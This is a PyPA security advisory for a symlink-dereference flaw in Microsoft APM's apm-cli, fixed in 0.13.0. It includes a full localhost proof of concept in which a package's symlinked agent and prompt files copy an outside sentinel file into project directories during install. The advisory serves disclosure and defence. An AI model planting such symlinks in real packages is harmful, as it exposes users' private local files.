Advisory

PYSEC-2026-2377

Also known as: CVE-2026-45539, GHSA-q5pp-gvjg-h7v4

Summary

Microsoft APM: Symlinks under .apm/prompts/ and .apm/agents/ are dereferenced during apm install, copying host-local file contents into the project tree

Details

Summary

Two primitive integrators in apm-cli enumerate package files with bare Path.glob() / Path.rglob() calls and read each match with Path.read_text(), transparently following symbolic links.

A symlink committed inside a remote APM dependency under .apm/prompts/<x>.prompt.md or .apm/agents/<x>.agent.md is preserved verbatim into apm_modules/ on clone and then dereferenced during integration, with the resolved content written as a regular file into the project's deploy directories.

The package content_hash, the pre-deploy SecurityGate scan, and apm audit do not flag this. The deploy roots are not added to the auto-generated .gitignore, so the resulting files are staged by git add by default.

This was reproduced via the standard owner/repo#tag install flow against a real bare git repository. No --force or special flags were used.

Affected code

Sinks

  • src/apm_cli/integration/prompt_integrator.py PromptIntegrator.find_prompt_files: package_path.glob("*.prompt.md") and apm_prompts.glob("*.prompt.md") No symlink filter.
  • src/apm_cli/integration/prompt_integrator.py PromptIntegrator.copy_prompt: source.read_text("utf-8")
  • src/apm_cli/integration/agent_integrator.py AgentIntegrator.find_agent_files: package_path.glob("*.agent.md"), apm_agents.rglob("*.agent.md"), apm_agents.rglob("*.md"), apm_chatmodes.glob("*.chatmode.md") No symlink filter.
  • src/apm_cli/integration/agent_integrator.py AgentIntegrator.copy_agent: source.read_text("utf-8")
  • src/apm_cli/integration/agent_integrator.py _write_codex_agent: source.read_text("utf-8"); resolved bytes are embedded into developer_instructions of the generated .codex/agents/<name>.toml
  • src/apm_cli/integration/agent_integrator.py _write_windsurf_agent_skill: same dereference pattern; resolved bytes land in .windsurf/skills/<name>/SKILL.md

Safe pattern already present in the codebase

  • src/apm_cli/integration/base_integrator.py BaseIntegrator.find_files_by_glob() rejects:
  • symlinks via f.is_symlink()
  • hardlinks via f.stat().st_nlink > 1
  • resolved paths escaping the package root

This helper is already used by InstructionIntegrator.find_instruction_files.

Documented contract that the affected integrators violate

In src/apm_cli/install/phases/local_content.py, _copy_local_package documents the intent of preserving symlinks in apm_modules/:

> This is security-relevant and not intended behavior because the codebase already documents that symlinks preserved in apm_modules/ are supposed to remain inert unless a consumer follows them safely. The affected integrators are exactly those consumer paths, and they dereference the symlink without sandboxing or symlink checks. That makes this an implementation gap, not expected design.

The affected integrators are the consumer tools that follow the link without sandboxing.

Reproducer

This proof of concept is localhost-only and uses a sentinel file, not a real secret.

It uses a real bare git repository and git config insteadOf so the install path is the same one APM uses for real GitHub clones (Repo.clone_from). No network access is required.

# 0. Clean slate
rm -rf /tmp/poc /tmp/poc_secret /tmp/poc_home
mkdir -p /tmp/poc/{remote_bare,victim_project,work_repo} /tmp/poc_home

# 1. Sentinel file outside the project and outside the package
echo 'APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL' > /tmp/poc_secret

# 2. Build a benign-looking APM package with two symlinks in it
cd /tmp/poc/work_repo
git init -q -b main .
git config user.email [email protected]
git config user.name 'PoC'

cat > apm.yml <<'YML'
name: helpful-agents
version: 1.0.0
description: Helpful AI agent collection
YML

mkdir -p .apm/agents .apm/prompts

cat > .apm/agents/helper.agent.md <<'AGENT'
---
name: helper
description: A helpful assistant
---
You are a helpful assistant.
AGENT

ln -s /tmp/poc_secret .apm/agents/notes.agent.md
ln -s /tmp/poc_secret .apm/prompts/welcome.prompt.md

git add -A
git commit -q -m "initial"
git tag v1.0.0

git ls-tree -r HEAD | grep '^120000'

# 3. Bare repo
git clone --bare -q /tmp/poc/work_repo /tmp/poc/remote_bare/helpful-agents.git

# 4. Rewrite the GitHub URL APM constructs onto the local bare repo
cat > /tmp/poc_home/.gitconfig <<'GITCONFIG'
[user]
    email = [email protected]
    name  = PoC
[url "/tmp/poc/remote_bare/helpful-agents.git"]
    insteadOf = https://github.com/poc-author/helpful-agents
[url "/tmp/poc/remote_bare/helpful-agents.git"]
    insteadOf = https://github.com/poc-author/helpful-agents.git
[safe]
    directory = *
GITCONFIG

# 5. Victim project
mkdir -p /tmp/poc/victim_project/{.github,.claude,.cursor,.codex,.windsurf}

cat > /tmp/poc/victim_project/apm.yml <<'YML'
name: victim-project
version: 1.0.0
description: Victim project
targets: [copilot, claude, cursor, codex, windsurf]
dependencies:
  apm:
    - poc-author/helpful-agents#v1.0.0
YML

# 6. Default install, no special flags
cd /tmp/poc/victim_project
HOME=/tmp/poc_home APM_NO_CACHE=1 GITHUB_TOKEN= apm install

Observed result

Default install output:

[>] Installing dependencies from apm.yml...
[>] Resolving poc-author/helpful-agents...
[i] Targets: claude, codex, copilot, cursor, windsurf  (source: apm.yml)
  [+] poc-author/helpful-agents #v1.0.0 @fa437578
  |-- 1 prompts integrated -> .github/prompts/
  |-- 10 agents integrated -> 5 targets
[*] Installed 1 APM dependency in 0.1s.

The source under apm_modules/ remains a symlink:

ls -l apm_modules/poc-author/helpful-agents/.apm/agents/notes.agent.md
# lrwxrwxrwx ... .apm/agents/notes.agent.md -> /tmp/poc_secret

The deploy roots receive plain regular files containing the sentinel:

  • .github/agents/notes.agent.md
  • .github/prompts/welcome.prompt.md
  • .claude/agents/notes.md
  • .cursor/agents/notes.md
  • .codex/agents/notes.toml
  • .windsurf/skills/notes/SKILL.md

Example:

cat /tmp/poc/victim_project/.claude/agents/notes.md
# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL

The deployed files persist after the original symlink target is removed:

rm /tmp/poc_secret
cat /tmp/poc/victim_project/.claude/agents/notes.md
# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL

Defenses that did not flag the result

  • The pre-deploy SecurityGate.scan_files walks with followlinks=False and continues past is_symlink() files. The symlinked source is not scanned.
  • apm audit against the post-install tree reports no findings.
  • The auto-written .gitignore contains only apm_modules/. The deploy roots are not excluded, and git add -A stages all deployed files alongside apm.lock.yaml.
  • The package content_hash is computed before symlink resolution and remained stable across installs whose resolved deployed bytes differed.

Impact

The directly demonstrated impact is file-content disclosure.

Any file readable by the user running apm install can be selected by the package author through an absolute symlink target committed inside the dependency, and its contents are then written into the project's deploy directories as regular files.

Severity

High Basis: CVSS v3 score 7.4, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Dates

Published
2026-07-13 15:19 UTC
Modified
2026-07-13 16:31 UTC

Affected packages and fixes

apm

PyPI · All systems

Affected

  • introduced 0.5.4, fixed 0.13.0 (ecosystem)

Fixed versions

0.13.0

Fix

  • Fixed version 0.13.0
    pip install --upgrade apm==0.13.0

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

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Source

Source: PyPA Advisory Database · CC BY 4.0

Sources & licences